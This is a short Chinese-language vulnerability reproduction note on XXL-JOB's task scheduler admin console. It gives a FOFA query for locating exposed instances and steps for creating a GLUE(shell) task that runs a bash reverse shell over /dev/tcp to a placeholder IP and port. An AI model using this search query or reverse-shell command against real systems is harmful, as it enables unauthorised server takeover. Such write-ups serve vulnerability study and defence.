# XXL-JOB 任务调度中心 后台任意命令执行漏洞

### 漏洞描述 <a href="#lou-dong-miao-shu" id="lou-dong-miao-shu"></a>

XXL-JOB 任务调度中心攻击者可以在后台可以通过写入shell命令任务调度获取服务器权限

### 漏洞影响 <a href="#lou-dong-ying-xiang" id="lou-dong-ying-xiang"></a>

&#x20;Note

XXL-JOB

### FOFA <a href="#fofa" id="fofa"></a>

&#x20;Note

app="XXL-JOB" || title="任务调度中心"

### 漏洞复现 <a href="#lou-dong-fu-xian" id="lou-dong-fu-xian"></a>

登录后台增加一个任务

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MhXoeFjyYv3BK7QzUGi%2F-MhXpWdc1rlO_O0ZRyLD%2Fimage.png?alt=media\&token=6626fe9c-7c25-472d-876e-07b42ecba827)

注意运行模式需要为 GLUE(shell)

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MhXoeFjyYv3BK7QzUGi%2F-MhXpZnc7Ttw0SFRbckv%2Fimage.png?alt=media\&token=869d7ff7-e87d-4396-b253-85c590019b8f)

点击 GLUE IDE编辑脚本

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MhXoeFjyYv3BK7QzUGi%2F-MhXpdQJbbvU_y__X6tv%2Fimage.png?alt=media\&token=ee70cce9-733b-4927-9d94-bdf95a4ad9b7)

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MhXoeFjyYv3BK7QzUGi%2F-MhXpgxWJhi8Ax6Pg4Cw%2Fimage.png?alt=media\&token=289ad6e9-80aa-46aa-b155-f20fc21ac7a7)

执行探测出网，和任务调用是否可执行

反弹一个shell

```
#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MhXoeFjyYv3BK7QzUGi%2F-MhXpqMDGl3bcb0crzaG%2Fimage.png?alt=media\&token=a49bc85f-de78-47fb-ba56-166ce4aa7b79)
